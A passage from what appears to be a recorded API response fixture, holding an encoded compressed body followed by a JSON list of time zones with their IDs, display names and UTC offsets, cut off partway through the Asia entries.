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 + string: '{"data":[{"id":"1","name":"Africa\/Abidjan","name_for_humans":"Africa\/Abidjan + (+00:00)","offset_name":"+00:00","offset":0},{"id":"2","name":"Africa\/Accra","name_for_humans":"Africa\/Accra + (+00:00)","offset_name":"+00:00","offset":0},{"id":"3","name":"Africa\/Addis_Ababa","name_for_humans":"Africa\/Addis + Ababa (+03:00)","offset_name":"+03:00","offset":180},{"id":"4","name":"Africa\/Algiers","name_for_humans":"Africa\/Algiers + (+01:00)","offset_name":"+01:00","offset":60},{"id":"5","name":"Africa\/Asmara","name_for_humans":"Africa\/Asmara + (+03:00)","offset_name":"+03:00","offset":180},{"id":"6","name":"Africa\/Bamako","name_for_humans":"Africa\/Bamako + (+00:00)","offset_name":"+00:00","offset":0},{"id":"7","name":"Africa\/Bangui","name_for_humans":"Africa\/Bangui + (+01:00)","offset_name":"+01:00","offset":60},{"id":"8","name":"Africa\/Banjul","name_for_humans":"Africa\/Banjul + (+00:00)","offset_name":"+00:00","offset":0},{"id":"9","name":"Africa\/Bissau","name_for_humans":"Africa\/Bissau + (+00:00)","offset_name":"+00:00","offset":0},{"id":"10","name":"Africa\/Blantyre","name_for_humans":"Africa\/Blantyre + (+02:00)","offset_name":"+02:00","offset":120},{"id":"11","name":"Africa\/Brazzaville","name_for_humans":"Africa\/Brazzaville + (+01:00)","offset_name":"+01:00","offset":60},{"id":"12","name":"Africa\/Bujumbura","name_for_humans":"Africa\/Bujumbura + (+02:00)","offset_name":"+02:00","offset":120},{"id":"16","name":"Africa\/Conakry","name_for_humans":"Africa\/Conakry + (+00:00)","offset_name":"+00:00","offset":0},{"id":"17","name":"Africa\/Dakar","name_for_humans":"Africa\/Dakar + (+00:00)","offset_name":"+00:00","offset":0},{"id":"18","name":"Africa\/Dar_es_Salaam","name_for_humans":"Africa\/Dar + es Salaam (+03:00)","offset_name":"+03:00","offset":180},{"id":"19","name":"Africa\/Djibouti","name_for_humans":"Africa\/Djibouti + (+03:00)","offset_name":"+03:00","offset":180},{"id":"20","name":"Africa\/Douala","name_for_humans":"Africa\/Douala + (+01:00)","offset_name":"+01:00","offset":60},{"id":"23","name":"Africa\/Gaborone","name_for_humans":"Africa\/Gaborone + (+02:00)","offset_name":"+02:00","offset":120},{"id":"24","name":"Africa\/Harare","name_for_humans":"Africa\/Harare + (+02:00)","offset_name":"+02:00","offset":120},{"id":"25","name":"Africa\/Johannesburg","name_for_humans":"Africa\/Johannesburg + (+02:00)","offset_name":"+02:00","offset":120},{"id":"27","name":"Africa\/Kampala","name_for_humans":"Africa\/Kampala + (+03:00)","offset_name":"+03:00","offset":180},{"id":"28","name":"Africa\/Khartoum","name_for_humans":"Africa\/Khartoum + (+02:00)","offset_name":"+02:00","offset":120},{"id":"29","name":"Africa\/Kigali","name_for_humans":"Africa\/Kigali + (+02:00)","offset_name":"+02:00","offset":120},{"id":"30","name":"Africa\/Kinshasa","name_for_humans":"Africa\/Kinshasa + (+01:00)","offset_name":"+01:00","offset":60},{"id":"31","name":"Africa\/Lagos","name_for_humans":"Africa\/Lagos + (+01:00)","offset_name":"+01:00","offset":60},{"id":"32","name":"Africa\/Libreville","name_for_humans":"Africa\/Libreville + (+01:00)","offset_name":"+01:00","offset":60},{"id":"33","name":"Africa\/Lome","name_for_humans":"Africa\/Lome + (+00:00)","offset_name":"+00:00","offset":0},{"id":"34","name":"Africa\/Luanda","name_for_humans":"Africa\/Luanda + (+01:00)","offset_name":"+01:00","offset":60},{"id":"35","name":"Africa\/Lubumbashi","name_for_humans":"Africa\/Lubumbashi + (+02:00)","offset_name":"+02:00","offset":120},{"id":"36","name":"Africa\/Lusaka","name_for_humans":"Africa\/Lusaka + (+02:00)","offset_name":"+02:00","offset":120},{"id":"37","name":"Africa\/Malabo","name_for_humans":"Africa\/Malabo + (+01:00)","offset_name":"+01:00","offset":60},{"id":"38","name":"Africa\/Maputo","name_for_humans":"Africa\/Maputo + (+02:00)","offset_name":"+02:00","offset":120},{"id":"39","name":"Africa\/Maseru","name_for_humans":"Africa\/Maseru + (+02:00)","offset_name":"+02:00","offset":120},{"id":"40","name":"Africa\/Mbabane","name_for_humans":"Africa\/Mbabane + (+02:00)","offset_name":"+02:00","offset":120},{"id":"41","name":"Africa\/Mogadishu","name_for_humans":"Africa\/Mogadishu + (+03:00)","offset_name":"+03:00","offset":180},{"id":"42","name":"Africa\/Monrovia","name_for_humans":"Africa\/Monrovia + (+00:00)","offset_name":"+00:00","offset":0},{"id":"43","name":"Africa\/Nairobi","name_for_humans":"Africa\/Nairobi + (+03:00)","offset_name":"+03:00","offset":180},{"id":"44","name":"Africa\/Ndjamena","name_for_humans":"Africa\/Ndjamena + (+01:00)","offset_name":"+01:00","offset":60},{"id":"45","name":"Africa\/Niamey","name_for_humans":"Africa\/Niamey + (+01:00)","offset_name":"+01:00","offset":60},{"id":"46","name":"Africa\/Nouakchott","name_for_humans":"Africa\/Nouakchott + (+00:00)","offset_name":"+00:00","offset":0},{"id":"47","name":"Africa\/Ouagadougou","name_for_humans":"Africa\/Ouagadougou + (+00:00)","offset_name":"+00:00","offset":0},{"id":"48","name":"Africa\/Porto-Novo","name_for_humans":"Africa\/Porto-Novo + (+01:00)","offset_name":"+01:00","offset":60},{"id":"49","name":"Africa\/Sao_Tome","name_for_humans":"Africa\/Sao + Tome (+00:00)","offset_name":"+00:00","offset":0},{"id":"50","name":"Africa\/Tripoli","name_for_humans":"Africa\/Tripoli + (+02:00)","offset_name":"+02:00","offset":120},{"id":"51","name":"Africa\/Tunis","name_for_humans":"Africa\/Tunis + (+01:00)","offset_name":"+01:00","offset":60},{"id":"52","name":"Africa\/Windhoek","name_for_humans":"Africa\/Windhoek + (+02:00)","offset_name":"+02:00","offset":120},{"id":"55","name":"America\/Anguilla","name_for_humans":"America\/Anguilla + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"56","name":"America\/Antigua","name_for_humans":"America\/Antigua + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"57","name":"America\/Araguaina","name_for_humans":"America\/Araguaina + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"58","name":"America\/Argentina\/Buenos_Aires","name_for_humans":"America\/Argentina\/Buenos + Aires (-03:00)","offset_name":"-03:00","offset":-180},{"id":"59","name":"America\/Argentina\/Catamarca","name_for_humans":"America\/Argentina\/Catamarca + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"60","name":"America\/Argentina\/Cordoba","name_for_humans":"America\/Argentina\/Cordoba + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"61","name":"America\/Argentina\/Jujuy","name_for_humans":"America\/Argentina\/Jujuy + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"62","name":"America\/Argentina\/La_Rioja","name_for_humans":"America\/Argentina\/La + Rioja (-03:00)","offset_name":"-03:00","offset":-180},{"id":"63","name":"America\/Argentina\/Mendoza","name_for_humans":"America\/Argentina\/Mendoza + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"64","name":"America\/Argentina\/Rio_Gallegos","name_for_humans":"America\/Argentina\/Rio + Gallegos (-03:00)","offset_name":"-03:00","offset":-180},{"id":"65","name":"America\/Argentina\/Salta","name_for_humans":"America\/Argentina\/Salta + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"66","name":"America\/Argentina\/San_Juan","name_for_humans":"America\/Argentina\/San + Juan (-03:00)","offset_name":"-03:00","offset":-180},{"id":"67","name":"America\/Argentina\/San_Luis","name_for_humans":"America\/Argentina\/San + Luis (-03:00)","offset_name":"-03:00","offset":-180},{"id":"68","name":"America\/Argentina\/Tucuman","name_for_humans":"America\/Argentina\/Tucuman + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"69","name":"America\/Argentina\/Ushuaia","name_for_humans":"America\/Argentina\/Ushuaia + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"70","name":"America\/Aruba","name_for_humans":"America\/Aruba + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"72","name":"America\/Atikokan","name_for_humans":"America\/Atikokan + (-05:00)","offset_name":"-05:00","offset":-300},{"id":"73","name":"America\/Bahia","name_for_humans":"America\/Bahia + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"75","name":"America\/Barbados","name_for_humans":"America\/Barbados + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"76","name":"America\/Belem","name_for_humans":"America\/Belem + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"77","name":"America\/Belize","name_for_humans":"America\/Belize + (-06:00)","offset_name":"-06:00","offset":-360},{"id":"78","name":"America\/Blanc-Sablon","name_for_humans":"America\/Blanc-Sablon + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"79","name":"America\/Boa_Vista","name_for_humans":"America\/Boa + Vista (-04:00)","offset_name":"-04:00","offset":-240},{"id":"80","name":"America\/Bogota","name_for_humans":"America\/Bogota + (-05:00)","offset_name":"-05:00","offset":-300},{"id":"83","name":"America\/Campo_Grande","name_for_humans":"America\/Campo + Grande (-04:00)","offset_name":"-04:00","offset":-240},{"id":"84","name":"America\/Cancun","name_for_humans":"America\/Cancun + (-05:00)","offset_name":"-05:00","offset":-300},{"id":"85","name":"America\/Caracas","name_for_humans":"America\/Caracas + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"86","name":"America\/Cayenne","name_for_humans":"America\/Cayenne + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"87","name":"America\/Cayman","name_for_humans":"America\/Cayman + (-05:00)","offset_name":"-05:00","offset":-300},{"id":"90","name":"America\/Costa_Rica","name_for_humans":"America\/Costa + Rica (-06:00)","offset_name":"-06:00","offset":-360},{"id":"91","name":"America\/Creston","name_for_humans":"America\/Creston + (-07:00)","offset_name":"-07:00","offset":-420},{"id":"92","name":"America\/Cuiaba","name_for_humans":"America\/Cuiaba + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"93","name":"America\/Curacao","name_for_humans":"America\/Curacao + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"94","name":"America\/Danmarkshavn","name_for_humans":"America\/Danmarkshavn + (+00:00)","offset_name":"+00:00","offset":0},{"id":"95","name":"America\/Dawson","name_for_humans":"America\/Dawson + (-07:00)","offset_name":"-07:00","offset":-420},{"id":"96","name":"America\/Dawson_Creek","name_for_humans":"America\/Dawson + Creek (-07:00)","offset_name":"-07:00","offset":-420},{"id":"99","name":"America\/Dominica","name_for_humans":"America\/Dominica + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"101","name":"America\/Eirunepe","name_for_humans":"America\/Eirunepe + (-05:00)","offset_name":"-05:00","offset":-300},{"id":"102","name":"America\/El_Salvador","name_for_humans":"America\/El + Salvador (-06:00)","offset_name":"-06:00","offset":-360},{"id":"103","name":"America\/Fort_Nelson","name_for_humans":"America\/Fort + Nelson (-07:00)","offset_name":"-07:00","offset":-420},{"id":"104","name":"America\/Fortaleza","name_for_humans":"America\/Fortaleza + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"108","name":"America\/Grenada","name_for_humans":"America\/Grenada + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"109","name":"America\/Guadeloupe","name_for_humans":"America\/Guadeloupe + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"110","name":"America\/Guatemala","name_for_humans":"America\/Guatemala + (-06:00)","offset_name":"-06:00","offset":-360},{"id":"111","name":"America\/Guayaquil","name_for_humans":"America\/Guayaquil + (-05:00)","offset_name":"-05:00","offset":-300},{"id":"112","name":"America\/Guyana","name_for_humans":"America\/Guyana + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"115","name":"America\/Hermosillo","name_for_humans":"America\/Hermosillo + (-07:00)","offset_name":"-07:00","offset":-420},{"id":"126","name":"America\/Jamaica","name_for_humans":"America\/Jamaica + (-05:00)","offset_name":"-05:00","offset":-300},{"id":"130","name":"America\/Kralendijk","name_for_humans":"America\/Kralendijk + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"131","name":"America\/La_Paz","name_for_humans":"America\/La + Paz (-04:00)","offset_name":"-04:00","offset":-240},{"id":"132","name":"America\/Lima","name_for_humans":"America\/Lima + (-05:00)","offset_name":"-05:00","offset":-300},{"id":"26","name":"Africa\/Juba","name_for_humans":"Africa\/Juba + (+02:00)","offset_name":"+02:00","offset":120},{"id":"134","name":"America\/Lower_Princes","name_for_humans":"America\/Lower + Princes (-04:00)","offset_name":"-04:00","offset":-240},{"id":"135","name":"America\/Maceio","name_for_humans":"America\/Maceio + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"136","name":"America\/Managua","name_for_humans":"America\/Managua + (-06:00)","offset_name":"-06:00","offset":-360},{"id":"137","name":"America\/Manaus","name_for_humans":"America\/Manaus + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"138","name":"America\/Marigot","name_for_humans":"America\/Marigot + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"139","name":"America\/Martinique","name_for_humans":"America\/Martinique + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"88","name":"America\/Chicago","name_for_humans":"America\/Chicago + (-05:00)","offset_name":"-05:00","offset":-300},{"id":"149","name":"America\/Montevideo","name_for_humans":"America\/Montevideo + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"150","name":"America\/Montserrat","name_for_humans":"America\/Montserrat + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"155","name":"America\/Noronha","name_for_humans":"America\/Noronha + (-02:00)","offset_name":"-02:00","offset":-120},{"id":"161","name":"America\/Panama","name_for_humans":"America\/Panama + (-05:00)","offset_name":"-05:00","offset":-300},{"id":"81","name":"America\/Boise","name_for_humans":"America\/Boise + (-06:00)","offset_name":"-06:00","offset":-360},{"id":"82","name":"America\/Cambridge_Bay","name_for_humans":"America\/Cambridge + Bay (-06:00)","offset_name":"-06:00","offset":-360},{"id":"163","name":"America\/Paramaribo","name_for_humans":"America\/Paramaribo + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"164","name":"America\/Phoenix","name_for_humans":"America\/Phoenix + (-07:00)","offset_name":"-07:00","offset":-420},{"id":"166","name":"America\/Port_of_Spain","name_for_humans":"America\/Port + of Spain (-04:00)","offset_name":"-04:00","offset":-240},{"id":"167","name":"America\/Porto_Velho","name_for_humans":"America\/Porto + Velho (-04:00)","offset_name":"-04:00","offset":-240},{"id":"168","name":"America\/Puerto_Rico","name_for_humans":"America\/Puerto + Rico (-04:00)","offset_name":"-04:00","offset":-240},{"id":"169","name":"America\/Punta_Arenas","name_for_humans":"America\/Punta + Arenas (-03:00)","offset_name":"-03:00","offset":-180},{"id":"172","name":"America\/Recife","name_for_humans":"America\/Recife + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"173","name":"America\/Regina","name_for_humans":"America\/Regina + (-06:00)","offset_name":"-06:00","offset":-360},{"id":"175","name":"America\/Rio_Branco","name_for_humans":"America\/Rio + Branco (-05:00)","offset_name":"-05:00","offset":-300},{"id":"54","name":"America\/Anchorage","name_for_humans":"America\/Anchorage + (-08:00)","offset_name":"-08:00","offset":-480},{"id":"127","name":"America\/Juneau","name_for_humans":"America\/Juneau + (-08:00)","offset_name":"-08:00","offset":-480},{"id":"237","name":"Asia\/Gaza","name_for_humans":"Asia\/Gaza + (+03:00)","offset_name":"+03:00","offset":180},{"id":"13","name":"Africa\/Cairo","name_for_humans":"Africa\/Cairo + (+03:00)","offset_name":"+03:00","offset":180},{"id":"98","name":"America\/Detroit","name_for_humans":"America\/Detroit + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"120","name":"America\/Indiana\/Tell_City","name_for_humans":"America\/Indiana\/Tell + City (-05:00)","offset_name":"-05:00","offset":-300},{"id":"176","name":"America\/Santarem","name_for_humans":"America\/Santarem + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"178","name":"America\/Santo_Domingo","name_for_humans":"America\/Santo + Domingo (-04:00)","offset_name":"-04:00","offset":-240},{"id":"179","name":"America\/Sao_Paulo","name_for_humans":"America\/Sao + Paulo (-03:00)","offset_name":"-03:00","offset":-180},{"id":"182","name":"America\/St_Barthelemy","name_for_humans":"America\/St + Barthelemy (-04:00)","offset_name":"-04:00","offset":-240},{"id":"184","name":"America\/St_Kitts","name_for_humans":"America\/St + Kitts (-04:00)","offset_name":"-04:00","offset":-240},{"id":"185","name":"America\/St_Lucia","name_for_humans":"America\/St + Lucia (-04:00)","offset_name":"-04:00","offset":-240},{"id":"186","name":"America\/St_Thomas","name_for_humans":"America\/St + Thomas (-04:00)","offset_name":"-04:00","offset":-240},{"id":"187","name":"America\/St_Vincent","name_for_humans":"America\/St + Vincent (-04:00)","offset_name":"-04:00","offset":-240},{"id":"188","name":"America\/Swift_Current","name_for_humans":"America\/Swift + Current (-06:00)","offset_name":"-06:00","offset":-360},{"id":"189","name":"America\/Tegucigalpa","name_for_humans":"America\/Tegucigalpa + (-06:00)","offset_name":"-06:00","offset":-360},{"id":"194","name":"America\/Tortola","name_for_humans":"America\/Tortola + (-04:00)","offset_name":"-04:00","offset":-240},{"id":"196","name":"America\/Whitehorse","name_for_humans":"America\/Whitehorse + (-07:00)","offset_name":"-07:00","offset":-420},{"id":"201","name":"Antarctica\/Davis","name_for_humans":"Antarctica\/Davis + (+07:00)","offset_name":"+07:00","offset":420},{"id":"202","name":"Antarctica\/DumontDUrville","name_for_humans":"Antarctica\/DumontDUrville + (+10:00)","offset_name":"+10:00","offset":600},{"id":"204","name":"Antarctica\/Mawson","name_for_humans":"Antarctica\/Mawson + (+05:00)","offset_name":"+05:00","offset":300},{"id":"206","name":"Antarctica\/Palmer","name_for_humans":"Antarctica\/Palmer + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"207","name":"Antarctica\/Rothera","name_for_humans":"Antarctica\/Rothera + (-03:00)","offset_name":"-03:00","offset":-180},{"id":"208","name":"Antarctica\/Syowa","name_for_humans":"Antarctica\/Syowa + (+03:00)","offset_name":"+03:00","offset":180},{"id":"212","name":"Asia\/Aden","name_for_humans":"Asia\/Aden + (+03:00)","offset_name":"+03:00","offset":180},{"id":"215","name":"Asia\/Anadyr","name_for_humans":"Asia\/Anadyr + (+12:00)","offset_name":"+12:00","offset":720},{"id":"216","name":"Asia\/Aqtau","name_for_humans":"Asia\/Aqtau + (+05:00)","offset_name":"+05:00","offset":300},{"id":"217","name":"Asia\/Aqtobe","name_for_humans":"Asia\/Aqtobe + (+05:00)","offset_name":"+05:00","offset":300},{"id":"218","name":"Asia\/Ashgabat","name_for_humans":"Asia\/Ashgabat + (+05:00)","offset_name":"+05:00","offset":300},{"id":"219","name":"Asia\/Atyrau","name_for_humans":"Asia\/Atyrau + (+05:00)","offset_name":"+05:00","offset":300},{"id":"220","name":"Asia\/Baghdad","name_for_humans":"Asia\/Baghdad + (+03:00)","offset_name":"+03:00","offset":180},{"id":"221","name":"Asia\/Bahrain","name_for_humans":"Asia\/Bahrain + (+03:00)","offset_name":"+03:00","offset":180},{"id":"222","name":"Asia\/Baku","name_for_humans":"Asia\/Baku + (+04:00)","offset_name":"+04:00","offset":240},{"id":"223","name":"Asia\/Bangkok","name_for_humans":"Asia\/Bangkok + (+07:00)","offset_name":"+07:00","offset":420},{"id":"224","name":"Asia\/Barnaul","name_for_humans":"Asia\/Barnaul + (+07:00)","offset_name":"+07:00","offset":420},{"id":"226","name":"Asia\/Bishkek","name_for_humans":"Asia\/Bishkek + (+06:00)","offset_name":"+06:00","offset":360},{"id":"227","name":"Asia\/Brunei","name_for_humans":"Asia\/Brunei + (+08:00)","offset_name":"+08:00","offset":480},{"id":"228","name":"Asia\/Chita","name_for_humans":"Asia\/Chita + (+09:00)","offset_name":"+09:00","offset":540},{"id":"229","name":"Asia\/Choibalsan","name_for_humans":"Asia\/Choibalsan + (+08:00)","offset_name":"+08:00","offset":480},{"id":"230","name":"Asia\/Colombo","name_for_humans":"Asia\/Colombo + (+05:30)","offset_name":"+05:30","offset":330},{"id":"232","name":"Asia\/Dhaka","name_for_humans":"Asia\/Dhaka + (+06:00)","offset_name":"+06:00","offset":360},{"id":"233","name":"Asia\/Dili","name_for_humans":"Asia\/Dili + (+09:00)","offset_name":"+09:00","offset":540},{"id":"234","name":"Asia\/Dubai","name_for_humans":"Asia\/Dubai + (+04:00)","offset_name":"+04:00","offset":240},{"id":"235","name":"Asia\/Dushanbe","name_for_humans":"Asia\/Dushanbe + (+05:00)","offset_name":"+05:00","offset":300},{"id":"239","name":"Asia\/Ho_Chi_Minh","name_for_humans":"Asia\/Ho + Chi Minh (+07:00)","offset_name":"+07:00","offset":420},{"id":"240","name":"Asia\/Hong_Kong","name_for_humans":"Asia\/Hong + Kong (+08:00)","offset_name":"+08:00","offset":480},{"id":"241","name":"Asia\/Hovd","name_for_humans":"Asia\/Hovd + (+07:00)","offset_name":"+07:00","offset":420},{"id":"242","name":"Asia\/Irkutsk","name_for_humans":"Asia\/Irkutsk + (+08:00)","offset_name":"+08:00","offset":480},{"id":"243","name":"Asia\/Jakarta","name_for_humans":"Asia\/Jakarta + (+07:00)","offset_name":"+07:00","offset":420},{"id":"244","name":"Asia\/Jayapura","name_for_humans":"Asia\/Jayapura + (+09:00)","offset_name":"+09:00","offset":540},{"id":"246","name":"Asia\/Kabul","name_for_humans":"Asia\/Kabul + (+04:30)","offset_name":"+04:30","offset":270},{"id":"247","name":"Asia\/Kamchatka","name_for_humans":"Asia\/Kamchatka + (+12:00)","offset_name":"+12:00","offset":720},{"id":"248","name":"Asia\/Karachi","name_for_humans":"Asia\/Karachi + (+05:00)","offset_name":"+05:00","offset":300},{"id":"249","name":"Asia\/Kathmandu","name_for_humans":"Asia\/Kathmandu + (+05:45)","offset_name":"+05:45","offset":345},{"id":"250","name":"Asia\/Khandyga","name_for_humans":"Asia\/Khandyga + (+09:00)","offset_name":"+09:00","offset":540},{"id":"251","name":"Asia\/Kolkata","name_for_humans":"Asia\/Kolkata + (+05:30)","offset_name":"+05:30","offset":330},{"id":"252","name":"Asia\/Krasnoyarsk","name_for_humans":"Asia\/Krasnoyarsk + (+07:00)","offset_name":"+07:00","offset":420},{"id":"253","name":"Asia\/Kuala_Lumpur","name_for_humans":"Asia\/Kuala + Lumpur (+08:00)","offset_name":"+08:00","offset":480},{"id":"254","name":"Asia\/Kuching","name_for_humans":"Asia\/Kuching + (+08:00)","offset_name":"+08:00","offset":480},{"id":"255","name":"Asia\/Kuwait","name_for_humans":"Asia\/Kuwait + 